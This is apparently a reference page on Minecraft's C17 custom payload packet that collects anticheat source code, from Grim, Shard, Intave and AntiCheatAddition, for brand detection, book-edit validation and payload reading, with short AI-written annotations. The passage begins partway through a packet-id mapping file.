packetIds.put(C16PacketClientStatus.class, 0x16);
packetIds.put(C17PacketCustomPayload.class, 0x17);
packetIds.put(C18PacketSpectate.class, 0x18);
packetIds.put(C19PacketResourcePackStatus.class, 0x19);
}
private final int packet;
private final String direction;
public LuaEventPacket(EventPacket event) {
packet = packetIds.getOrDefault(event.get().getClass(), -1);
direction = event.get() instanceof EventPacket.Out ? "out" : "in";
}
}
// NOTE (AI): The full scripting wrapper: a static map of every serverbound class to its protocol id (C17 at 0x17), resolved per EventPacket with an in/out direction. The comment explains why the map exists: obfuscation makes reflection-based id lookup unreliable.anticheat Anti-Cheat Checks
The custom payload packet is the plugin channel carrier: brand, mod handshake, book edit, sign, anvil rename and trade data all arrive inside it. Anticheats use it for three things: client brand identification on the minecraft:brand channel, validation of the payloads that can carry exploit data such as book edit NBT and oversized payloads, and mod fingerprinting for cheat-mod detection. Because the packet is the only one that can smuggle arbitrary bytes, payload parsing is also where crash and JNDI mitigations attach.
Reads the brand channel, records the client's brand for staff and database, and disconnects blacklisted Forge clients that shipped with extended reach.
PacketReceiveListener on PLUGIN_MESSAGE in the play and configuration states. It handles only the brand channel, minecraft:brand on 1.13+ and MC|Brand before. Data longer than 64 bytes or empty marks the brand as invalid; otherwise it strips the length byte, removes the (Velocity) proxy suffix, strips color codes, alerts staff unless the brand is ignored, and writes the brand into the session row. Forge brands on 1.18.2 to 1.19.3 clients are disconnected when the config blocks blacklisted Forge clients, referencing the known Forge reach hack.
// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/misc/ClientBrand.java =====
package ac.grim.grimac.checks.impl.misc;
import ac.grim.grimac.GrimAPI;
import ac.grim.grimac.checks.Check;
import ac.grim.grimac.checks.type.PacketReceiveListener;
import ac.grim.grimac.player.GrimPlayer;
import ac.grim.grimac.utils.anticheat.MessageUtil;
import com.github.retrooper.packetevents.PacketEvents;
import com.github.retrooper.packetevents.event.PacketReceiveEvent;
import com.github.retrooper.packetevents.manager.server.ServerVersion;
import com.github.retrooper.packetevents.protocol.packettype.PacketType;
import com.github.retrooper.packetevents.protocol.player.ClientVersion;
import com.github.retrooper.packetevents.wrapper.configuration.client.WrapperConfigClientPluginMessage;
import com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientPluginMessage;
import lombok.Getter;
import net.kyori.adventure.text.Component;
public class ClientBrand extends Check implements PacketReceiveListener {
private static final String CHANNEL = PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_13) ? "minecraft:brand" : "MC|Brand";
@Getter
private String brand = "vanilla";
@Getter
private boolean hasBrand = false;
public ClientBrand(GrimPlayer player) {
super(player);
}
@Override
public void onPacketReceive(final PacketReceiveEvent event) {
if (event.getPacketType() == PacketType.Play.Client.PLUGIN_MESSAGE) {
WrapperPlayClientPluginMessage packet = new WrapperPlayClientPluginMessage(event);
handle(packet.getChannelName(), packet.getData());
} else if (event.getPacketType() == PacketType.Configuration.Client.PLUGIN_MESSAGE) {
WrapperConfigClientPluginMessage packet = new WrapperConfigClientPluginMessage(event);
handle(packet.getChannelName(), packet.getData());
}
}
private void handle(String channel, byte[] data) {
if (!channel.equals(ClientBrand.CHANNEL)) return;
if (data.length > 64 || data.length == 0) {
brand = "sent " + data.length + " bytes as brand";
} else if (!hasBrand) {
byte[] minusLength = new byte[data.length - 1];
System.arraycopy(data, 1, minusLength, 0, minusLength.length);
brand = new String(minusLength).replace(" (Velocity)", ""); // removes velocity's brand suffix
brand = MessageUtil.stripColor(brand); // strip color codes from client brand
if (!GrimAPI.INSTANCE.getConfigManager().isIgnoredClient(brand)) {
String message = GrimAPI.INSTANCE.getConfigManager().getConfig().getStringElse("client-brand-format", "%prefix% &f%player% joined using %brand%");
Component component = MessageUtil.replacePlaceholders(player, MessageUtil.miniMessage(message));
GrimAPI.INSTANCE.getAlertManager().sendBrand(component, null);
}
// Push the now-known brand into the session row. The initial onJoin
// upsert ran from PlayerJoinEvent, before the brand packet arrived,
// so client_brand was null on disk. observeBrandFromCheck re-issues
// the upsert with the same session_id (idempotent) but the brand
// column now filled in. NOOP impl skips the work entirely.
GrimAPI.INSTANCE.getDataStoreLifecycle().liveWriteHooks().observeBrandFromCheck(player);
}
// https://github.com/MinecraftForge/MinecraftForge/issues/9309
// "Forge 40.1.22 1.18.2+ has extended player reach"
// quality development from forge devs
// inbuilt reach hacks for over a year across 2 (3 if you include 1.19.3/1.20) major versions
// Fixed in 1.19.4 possibly? Definitely fixed in 1.20+.
final boolean hasReachHacks = brand.contains("forge")
&& player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_18_2)
&& player.getClientVersion().isOlderThan(ClientVersion.V_1_19_4);
if (hasReachHacks && GrimAPI.INSTANCE.getConfigManager().isBlockBlacklistedForgeClients()) {
player.disconnect(MessageUtil.miniMessage(MessageUtil.replacePlaceholders(player, GrimAPI.INSTANCE.getConfigManager().getDisconnectBlacklistedForge())));
}
hasBrand = true;
}
}
// NOTE (AI): The 64-byte cap and the Forge reach disconnect are the notable details; the file references the MinecraftForge issue tracking the reach bug.Validates book edit and book sign payloads against the player's tracked inventory, killing item-book exploits.
On 1.13 and older the book data arrives in the C17 payload on the MC|BEdit and MC|BSign channels, parsed by PayloadBookEdit into an ItemStack. The check then compares slot, item type, amount, meta, author, pages, title and NBT against the copy of the book taken when the player last used the item, with 16 distinct violation codes: expected slot, no pages, title too long, invalid page, modified NBT, and others. On 1.14+ it runs the same validation on the dedicated EDIT_BOOK packet.
// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/exploit/ExploitB.java =====
package ac.grim.grimac.checks.impl.exploit;
import ac.grim.grimac.api.storage.verbose.Verbose;
import ac.grim.grimac.checks.Check;
import ac.grim.grimac.checks.CheckData;
import ac.grim.grimac.checks.impl.verbose.VerboseCodecs;
import ac.grim.grimac.checks.type.PacketReceiveListener;
import ac.grim.grimac.player.GrimPlayer;
import ac.grim.grimac.utils.payload.PayloadBookEdit;
import com.github.retrooper.packetevents.PacketEvents;
import com.github.retrooper.packetevents.event.PacketReceiveEvent;
import com.github.retrooper.packetevents.manager.server.ServerVersion;
import com.github.retrooper.packetevents.protocol.component.ComponentTypes;
import com.github.retrooper.packetevents.protocol.item.ItemStack;
import com.github.retrooper.packetevents.protocol.item.type.ItemType;
import com.github.retrooper.packetevents.protocol.item.type.ItemTypes;
import com.github.retrooper.packetevents.protocol.nbt.NBT;
import com.github.retrooper.packetevents.protocol.nbt.NBTCompound;
import com.github.retrooper.packetevents.protocol.nbt.NBTList;
import com.github.retrooper.packetevents.protocol.nbt.NBTString;
import com.github.retrooper.packetevents.protocol.packettype.PacketType;
import com.github.retrooper.packetevents.protocol.player.ClientVersion;
import com.github.retrooper.packetevents.protocol.player.InteractionHand;
import com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientEditBook;
import com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientPlayerBlockPlacement;
import com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientPluginMessage;
import com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientUseItem;
import com.google.gson.JsonSyntaxException;
import com.google.gson.stream.JsonReader;
import com.google.gson.stream.JsonToken;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;
import java.io.IOException;
import java.io.StringReader;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Set;
@CheckData(name = "ExploitB", stableKey = "grim.exploit.invalid_book_edit", description = "Invalid book edit")
public class ExploitB extends Check implements PacketReceiveListener {
private static final int BOOK_EXPECTED_SLOT = 0;
private static final int BOOK_EXPECTED_TYPE = 1;
private static final int BOOK_EXPECTED_AMOUNT = 2;
private static final int BOOK_EXPECTED_META = 3;
private static final int BOOK_NO_NBT = 4;
private static final int BOOK_NO_PAGES = 5;
private static final int BOOK_NO_TITLE = 6;
private static final int BOOK_EXPECTED_AUTHOR = 7;
private static final int BOOK_INVALID_PAGE = 8;
private static final int BOOK_MODIFIED_NBT = 9;
private static final int BOOK_TITLE_TOO_LONG = 10;
private static final int BOOK_INVALID_TITLE = 11;
private static final int BOOK_NOT_EDITING = 12;
private static final int BOOK_TOO_MANY_PAGES = 13;
private static final int BOOK_PAGE_TOO_LONG = 14;
private static final int BOOK_EMPTY_LAST_PAGE = 15;
// One shape per BOOK_* kind; shape index == constant value.
private static final Verbose V = Verbose
.of("expectedSlot={sint}, slot={sint}") // BOOK_EXPECTED_SLOT
.or("expectedType={item}, type={item}") // BOOK_EXPECTED_TYPE
.or("expectedAmount={sint}, amount={sint}") // BOOK_EXPECTED_AMOUNT
.or("expectedMeta={sint}, meta={sint}") // BOOK_EXPECTED_META
.or("no nbt") // BOOK_NO_NBT
.or("no pages") // BOOK_NO_PAGES
.or("no title") // BOOK_NO_TITLE
.or("expectedAuthor={str}, author={str}") // BOOK_EXPECTED_AUTHOR
.or("invalid page") // BOOK_INVALID_PAGE
.or("modified nbt") // BOOK_MODIFIED_NBT
.or("title too long") // BOOK_TITLE_TOO_LONG
.or("invalid title '{str}'") // BOOK_INVALID_TITLE
.or("not editing book") // BOOK_NOT_EDITING
.or("too many pages") // BOOK_TOO_MANY_PAGES
.or("page too long") // BOOK_PAGE_TOO_LONG
.or("empty last page"); // BOOK_EMPTY_LAST_PAGE
private static final int UNUSED_TYPE = -1;
private static final boolean IS_1_8 = PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_8_8);
private ItemStack oldBook;
private InteractionHand hand;
public ExploitB(GrimPlayer player) {
super(player);
}
@Override
public void onPacketReceive(PacketReceiveEvent event) {
if (IS_1_8 ? event.getPacketType() == PacketType.Play.Client.PLAYER_BLOCK_PLACEMENT
&& new WrapperPlayClientPlayerBlockPlacement(event).getFaceId() == 255
: event.getPacketType() == PacketType.Play.Client.USE_ITEM) {
hand = IS_1_8 ? InteractionHand.MAIN_HAND : new WrapperPlayClientUseItem(event).getHand();
oldBook = player.inventory.getItemInHand(hand).copy();
}
if (event.getPacketType() == PacketType.Play.Client.EDIT_BOOK) {
checkEditBook(new WrapperPlayClientEditBook(event), event);
oldBook = null;
}
// 1.13-
if (event.getPacketType() == PacketType.Play.Client.PLUGIN_MESSAGE && PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_13)) {
WrapperPlayClientPluginMessage wrapper = new WrapperPlayClientPluginMessage(event);
boolean signing;
switch (wrapper.getChannelName()) {
case "MC|BSign" -> signing = true;
case "MC|BEdit" -> signing = false;
default -> {
return;
}
}
ItemStack newBook = new PayloadBookEdit(wrapper.getData()).itemStack();
checkItemStack(newBook, signing, event);
oldBook = null;
}
}
private void checkEditBook(WrapperPlayClientEditBook wrapper, PacketReceiveEvent event) {
if (checkEditingBook(event)) return;
int expectedSlot = hand == InteractionHand.OFF_HAND ? 40 : player.packetStateData.lastSlotSelected;
int slot = wrapper.getSlot();
if (slot != expectedSlot) {
flagExpectedSlot(event, expectedSlot, slot);
return;
}
if (wrapper.getSigning() == null) { // 1.17+
if (wrapper.getTitle() != null && checkTitle(wrapper.getTitle(), event)) return;
List<String> pages = wrapper.getPages();
if (pages.size() > 1 && checkEmptyLastPage(pages.get(pages.size() - 1), event)) return;
if (checkTooManyPages(pages.size(), event)) return;
for (String page : pages) {
if (checkPage(page, event)) return;
}
} else { // 1.13 - 1.16.5
checkItemStack(wrapper.getItemStack(), wrapper.getSigning(), event);
}
}
private void checkItemStack(ItemStack newBook, boolean signing, PacketReceiveEvent event) {
if (checkEditingBook(event)) return;
ItemType expectedType = signing && IS_1_8 ? ItemTypes.WRITTEN_BOOK : ItemTypes.WRITABLE_BOOK;
if (!newBook.is(expectedType)) {
flagExpectedType(event, expectedType, newBook.getType());
return;
}
if (newBook.getAmount() != oldBook.getAmount()) {
flagExpectedAmount(event, oldBook.getAmount(), newBook.getAmount());
return;
}
if (newBook.getLegacyData() != oldBook.getLegacyData()) {
flagExpectedMeta(event, oldBook.getLegacyData(), newBook.getLegacyData());
return;
}
NBTCompound newBookNBT = newBook.getNBT();
if (newBookNBT == null) {
flagLiteral(event, BOOK_NO_NBT);
return;
}
NBTList<@NotNull NBTString> newPagesNBT = newBookNBT.getStringListTagOrNull("pages");
if (newPagesNBT == null) {
flagLiteral(event, BOOK_NO_PAGES);
return;
}
if (checkTooManyPages(newPagesNBT.size(), event)) return;
if (signing) {
String title = newBookNBT.getStringTagValueOrNull("title");
if (title == null) {
flagLiteral(event, BOOK_NO_TITLE);
return;
}
if (checkTitle(title, event)) return;
String author = newBookNBT.getStringTagValueOrNull("author");
if (!player.getName().equals(author)) {
flagExpectedAuthor(event, player.getName(), author == null ? "null" : author);
return;
}
}
String last = null;
for (NBTString string : newPagesNBT.getTags()) {
if (IS_1_8 && signing) {
try {
JsonReader reader = new JsonReader(new StringReader(string.getValue()));
if (reader.peek() != JsonToken.BEGIN_OBJECT) throw new JsonSyntaxException("");
reader.beginObject();
if (reader.peek() != JsonToken.NAME || !reader.nextName().equals("text")
|| reader.peek() != JsonToken.STRING) throw new JsonSyntaxException("");
last = reader.nextString();
if (reader.peek() != JsonToken.END_OBJECT) throw new JsonSyntaxException("");
} catch (JsonSyntaxException e) {
flagLiteral(event, BOOK_INVALID_PAGE);
return;
} catch (IOException e) {
throw new RuntimeException(e);
}
} else {
last = string.getValue();
}
if (checkPage(last, event)) return;
}
if (last != null && checkEmptyLastPage(last, event)) {
return;
}
Set<Map.Entry<String, NBT>> newNBT = newBookNBT.getTags().entrySet();
HashMap<String, NBT> oldNBT = oldBook.getNBT() == null ? new HashMap<>() : new HashMap<>(oldBook.getNBT().getTags());
oldNBT.remove("pages");
oldNBT.remove("title");
oldNBT.remove("author");
for (var entry : newNBT) {
if (!entry.getKey().equals("pages") && !entry.getKey().equals("title") && !entry.getKey().equals("author")) {
NBT nbt = oldNBT.remove(entry.getKey());
if (nbt == null || !nbt.equals(entry.getValue())) {
flagLiteral(event, BOOK_MODIFIED_NBT);
return;
}
}
}
if (!oldNBT.isEmpty()) {
flagLiteral(event, BOOK_MODIFIED_NBT);
}
}
private boolean checkTitle(@NotNull String title, PacketReceiveEvent event) {
if (title.length() > (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_16) ? 15 : 16)) {
flagLiteral(event, BOOK_TITLE_TOO_LONG);
return true;
} else if (title.isEmpty() || !title.trim().equals(title) || containsInvalidCharacters(title, false)) {
flagInvalidTitle(event, title);
return true;
}
return false;
}
private boolean checkEditingBook(PacketReceiveEvent event) {
if (oldBook == null || !oldBook.is(ItemTypes.WRITABLE_BOOK)) {
flagLiteral(event, BOOK_NOT_EDITING);
return true;
}
return false;
}
private boolean checkTooManyPages(int pages, PacketReceiveEvent event) {
NBTList<@NotNull NBTString> oldPagesNBT;
int oldPages = oldBook.getVersion().isNewerThanOrEquals(ClientVersion.V_1_20_5)
? oldBook.getComponent(ComponentTypes.WRITABLE_BOOK_CONTENT).map(content -> content.getPages().size()).orElse(0)
: oldBook.getNBT() != null && (oldPagesNBT = oldBook.getNBT().getStringListTagOrNull("pages")) != null
? oldPagesNBT.size() : 0;
if (pages > oldPages && pages > (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_14) ? 100 : 50)) {
flagLiteral(event, BOOK_TOO_MANY_PAGES);
return true;
}
return false;
}
private boolean checkPage(String page, PacketReceiveEvent event) {
if (page.length() > (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_14) ? 1023 : 256)) {
flagLiteral(event, BOOK_PAGE_TOO_LONG);
return true;
}
// commented out because existing characters are not considered
// if (containsInvalidCharacters(page, true)) {
// if (flag("invalid page characters") && shouldModifyPackets()) {
// event.setCancelled(true);
// player.onPacketCancel();
// }
// return true;
// }
return false;
}
private boolean checkEmptyLastPage(String page, PacketReceiveEvent event) {
if (page.isEmpty()) {
flagLiteral(event, BOOK_EMPTY_LAST_PAGE);
return true;
}
return false;
}
private void flagExpectedSlot(PacketReceiveEvent event, int expectedSlot, int slot) {
flagBookEdit(event, V.write(verbose(), BOOK_EXPECTED_SLOT).sint(expectedSlot).sint(slot));
}
private void flagExpectedType(PacketReceiveEvent event, @NotNull ItemType expectedType, @Nullable ItemType type) {
flagBookEdit(event, V.write(verbose(), BOOK_EXPECTED_TYPE).sint(typeId(expectedType)).sint(typeId(type)));
}
private void flagExpectedAmount(PacketReceiveEvent event, int expectedAmount, int amount) {
flagBookEdit(event, V.write(verbose(), BOOK_EXPECTED_AMOUNT).sint(expectedAmount).sint(amount));
}
private void flagExpectedMeta(PacketReceiveEvent event, int expectedMeta, int meta) {
flagBookEdit(event, V.write(verbose(), BOOK_EXPECTED_META).sint(expectedMeta).sint(meta));
}
private void flagExpectedAuthor(PacketReceiveEvent event, @NotNull String expectedAuthor, @NotNull String author) {
flagBookEdit(event, V.write(verbose(), BOOK_EXPECTED_AUTHOR).str(expectedAuthor).str(author));
}
private void flagInvalidTitle(PacketReceiveEvent event, @NotNull String title) {
flagBookEdit(event, V.write(verbose(), BOOK_INVALID_TITLE).str(title));
}
private void flagLiteral(PacketReceiveEvent event, int kind) {
flagBookEdit(event, V.write(verbose(), kind));
}
private void flagBookEdit(PacketReceiveEvent event, Verbose.Writer writer) {
if (flag(writer) && shouldModifyPackets()) {
event.setCancelled(true);
player.onPacketCancel();
}
}
private int typeId(@Nullable ItemType type) {
return type == null ? UNUSED_TYPE : VerboseCodecs.item(type, player.getClientVersion());
}
private static boolean containsInvalidCharacters(@NotNull String string, boolean allowLineBreak) {
for (int i = 0; i < string.length(); ++i) {
char character = string.charAt(i);
if (character == 167 || character < 32 && (!allowLineBreak || character != 10) || character == 127) {
return true;
}
}
return false;
}
}
// NOTE (AI): Only the 1.13- branch reads the C17 payload; the same check body also covers the modern EDIT_BOOK packet, which is why the corpus matched it under the custom payload search.Kotlin brand check that records the client brand, alerts staff, and disconnects Forge clients on the reach-exploit version range.
PacketCheck subscribing to PLUGIN_MESSAGE in the play and configuration states. It matches the versioned brand channel, accepts the first brand only, marks data over 64 bytes or empty as invalid, strips the length byte and the (Velocity) suffix, strips color, stores it on the player, alerts unless ignored, and disconnects Forge brands between 1.18.2 and 1.19.4 when configured.
// ===== FILE: KaelusAI-Shard, src/main/kotlin/ac/shard/checks/impl/misc/ClientBrand.kt =====
/*
* This file is part of GrimAC - https://github.com/GrimAnticheat/Grim
* Copyright (C) 2021-2026 GrimAC, DefineOutside and contributors
*
* GrimAC is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* GrimAC is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package ac.shard.checks.impl.misc
import ac.shard.alert.AlertManager
import ac.shard.alert.AlertType
import ac.shard.checks.AbstractCheck
import ac.shard.checks.CheckData
import ac.shard.checks.CheckFactory
import ac.shard.checks.type.PacketCheck
import ac.shard.config.ConfigManager
import ac.shard.player.ShardPlayer
import ac.shard.utils.ChatUtil
import ac.shard.utils.Message
import ac.shard.utils.MessageUtil
import com.github.retrooper.packetevents.PacketEvents
import com.github.retrooper.packetevents.event.PacketReceiveEvent
import com.github.retrooper.packetevents.manager.server.ServerVersion
import com.github.retrooper.packetevents.protocol.packettype.PacketType
import com.github.retrooper.packetevents.protocol.player.ClientVersion
import com.github.retrooper.packetevents.wrapper.configuration.client.WrapperConfigClientPluginMessage
import com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientPluginMessage
import java.nio.charset.StandardCharsets
import net.kyori.adventure.text.Component
@CheckData(name = "ClientBrand_Internal")
class ClientBrand(
shardPlayer: ShardPlayer,
private val configManager: ConfigManager,
private val alertManager: AlertManager,
) : AbstractCheck(shardPlayer), PacketCheck {
companion object {
private val CHANNEL =
if (PacketEvents.getAPI().serverManager.version.isNewerThanOrEquals(ServerVersion.V_1_13)) {
"minecraft:brand"
} else {
"MC|Brand"
}
}
var brand: String = "vanilla"
private set
private var hasBrand = false
interface Factory : CheckFactory {
override fun create(player: ShardPlayer): ClientBrand
}
override fun onPacketReceive(event: PacketReceiveEvent) {
if (event.packetType == PacketType.Play.Client.PLUGIN_MESSAGE) {
val packet = WrapperPlayClientPluginMessage(event)
handle(packet.channelName, packet.data)
} else if (event.packetType == PacketType.Configuration.Client.PLUGIN_MESSAGE) {
val packet = WrapperConfigClientPluginMessage(event)
handle(packet.channelName, packet.data)
}
}
private fun handle(channel: String, data: ByteArray) {
if (channel != CHANNEL || hasBrand) {
return
}
val shardPlayer = shardPlayer
hasBrand = true
if (data.size > 64 || data.isEmpty()) {
brand = "invalid (${data.size} bytes)"
} else {
val brandBytes = ByteArray(data.size - 1)
System.arraycopy(data, 1, brandBytes, 0, brandBytes.size)
brand = String(brandBytes, StandardCharsets.UTF_8).replace(" (Velocity)", "")
brand = ChatUtil.stripColor(brand) ?: brand
}
shardPlayer.brand = brand
if (!configManager.isClientIgnored(brand)) {
val component: Component =
MessageUtil.getMessage(
Message.BRAND_NOTIFICATION,
"player",
shardPlayer.player.name,
"brand",
brand,
)
alertManager.send(component, AlertType.BRAND)
}
val hasReachExploit =
brand.contains("forge") &&
shardPlayer.user.clientVersion.isNewerThanOrEquals(ClientVersion.V_1_18_2) &&
shardPlayer.user.clientVersion.isOlderThan(ClientVersion.V_1_19_4)
if (hasReachExploit && configManager.isDisconnectBlacklistedForge()) {
shardPlayer.disconnect(MessageUtil.getMessage(Message.BRAND_DISCONNECT_FORGE))
}
}
}
// NOTE (AI): Shard is a fork lineage of Grim, and the file header carries the GrimAC GPL notice; the logic mirrors Grim's ClientBrand with Kotlin idioms.ProtocolLib reader that extracts the plugin channel tag and payload bytes from the custom payload packet across all protocol versions.
AbstractPacketReader on the payload packet. tag() reads the channel name from string, MinecraftKey or CustomPacketPayloadWrapper fields depending on the protocol version, strips the minecraft: prefix, and returns unsupported on 1.21+ when the layout changed. readBytes and readStringNormal pull the PacketDataSerializer buffer via reflection for downstream parsers, and readStringWithExtraByte reads the length-prefixed brand-style string.
// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/packet/reader/PayloadInReader.java =====
package de.jpx3.intave.packet.reader;
import com.comphenix.protocol.wrappers.CustomPacketPayloadWrapper;
import com.google.common.base.Charsets;
import de.jpx3.intave.adapter.MinecraftVersions;
import de.jpx3.intave.klass.Lookup;
import io.netty.buffer.ByteBuf;
import java.nio.charset.Charset;
public final class PayloadInReader extends AbstractPacketReader {
public String tag() {
String tag;
if (packet().getStrings().getValues().isEmpty()) {
if (MinecraftVersions.VER1_21.atOrAbove()) {
return "unsupported";
}
Object minecraftKey = null;
if (packet().getMinecraftKeys().getValues().isEmpty()) {
for (CustomPacketPayloadWrapper value : packet().getCustomPacketPayloads().getValues()) {
minecraftKey = value.getId();
if (minecraftKey != null) {
break;
}
}
if (minecraftKey == null) {
return "error";
}
} else {
minecraftKey = packet().getMinecraftKeys().getValues().get(0);
}
try {
tag = (String) minecraftKey.getClass().getMethod("toString").invoke(minecraftKey);
} catch (Exception exception) {
exception.printStackTrace();
tag = "error";
}
} else {
tag = packet().getStrings().getValues().get(0);
}
if (tag.startsWith("minecraft:")) {
tag = tag.substring(10);
}
return tag;
}
public ByteBuf readBytes() {
return (ByteBuf) packet().getSpecificModifier(Lookup.serverClass("PacketDataSerializer")).getValues().get(0);
}
public String readStringNormal() {
Object packetDataSerializer = packet().getSpecificModifier(Lookup.serverClass("PacketDataSerializer")).getValues().get(0);
try {
return (String) packetDataSerializer.getClass().getMethod("toString", Charset.class).invoke(packetDataSerializer, Charset.defaultCharset());
} catch (Exception exception) {
return "error";
}
}
public String readStringWithExtraByte() {
ByteBuf bytes = (ByteBuf) packet().getSpecificModifier(Lookup.serverClass("PacketDataSerializer")).getValues().get(0);
try {
bytes.markReaderIndex();
int length = bytes.readByte();
return bytes.toString(Charsets.UTF_8);
} catch (Exception exception) {
exception.printStackTrace();
}
return "";
}
}
// NOTE (AI): The version branching exists because the channel field moved from a string to a MinecraftKey to a custom payload wrapper across protocol versions.Stores the last brand channel messages per user so sentinel checks can fingerprint modded clients.
A RingBuffer capped at 10 holds brand channel messages. A ParsedPluginMessageListener implementation updates the user's data on every brand-channel message; hasBrandChannelMessage checks membership and listBrandChannelMessages joins them for display. The ring buffer exists so a malicious client spamming the brand channel cannot exhaust memory.
// ===== FILE: Photon-GitHub-AntiCheatAddition, src/main/java/de/photon/anticheataddition/user/data/subdata/BrandChannelData.java =====
package de.photon.anticheataddition.user.data.subdata;
import de.photon.anticheataddition.modules.sentinel.ParsedPluginMessageListener;
import de.photon.anticheataddition.user.User;
import de.photon.anticheataddition.util.datastructure.buffer.RingBuffer;
import org.bukkit.entity.Player;
import org.jetbrains.annotations.NotNull;
/**
* Represents a data class to manage and save brand channel messages.
*/
public class BrandChannelData
{
// Use a RingBuffer here as a malicious client could spam the brand channel with messages.
private final RingBuffer<String> brandChannelMessages = new RingBuffer<>(10);
// This method is private as only the listener below is supposed to add messages.
private void addBrandChannelMessage(String message)
{
brandChannelMessages.add(message);
}
public boolean hasBrandChannelMessage(String message)
{
return brandChannelMessages.contains(message);
}
public String listBrandChannelMessages()
{
return String.join(", ", brandChannelMessages);
}
/**
* Listens for brand channel plugin messages and updates the {@link User}'s {@link BrandChannelData} accordingly.
*/
public static class BrandChannelMessageListener implements ParsedPluginMessageListener
{
@Override
public void onPluginMessageReceived(@NotNull String channel, @NotNull Player player, @NotNull String message)
{
final var user = User.getUser(player);
if (user == null) return;
user.getBrandChannelData().addBrandChannelMessage(message);
}
}
}
// NOTE (AI): The listener is registered as a ParsedPluginMessageListener so it receives already-decoded channel messages, not raw payload bytes.Related Packets
Wiki Cross-Reference
The vanilla server enforces a 32767-byte length limit on the payload data for unrecognized channels.
MCP 1.8.9 C17PacketCustomPayload implements Packet
1.8.9 callers: GuiCommandBlock.actionPerformed sends new C17PacketCustomPayload (line 95) +5 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/client/gui/GuiCommandBlock.java
Cross-checked against minecraft.wiki (CC BY-SA 3.0) for 1.8.9 accuracy.
Vanilla Internals
Full 1.8.9 logic-class sources that send or handle this packet, stored verbatim.
Module Analyses Using C17PacketCustomPayload
Full source walkthroughs of the modules and anti-cheats that use this packet.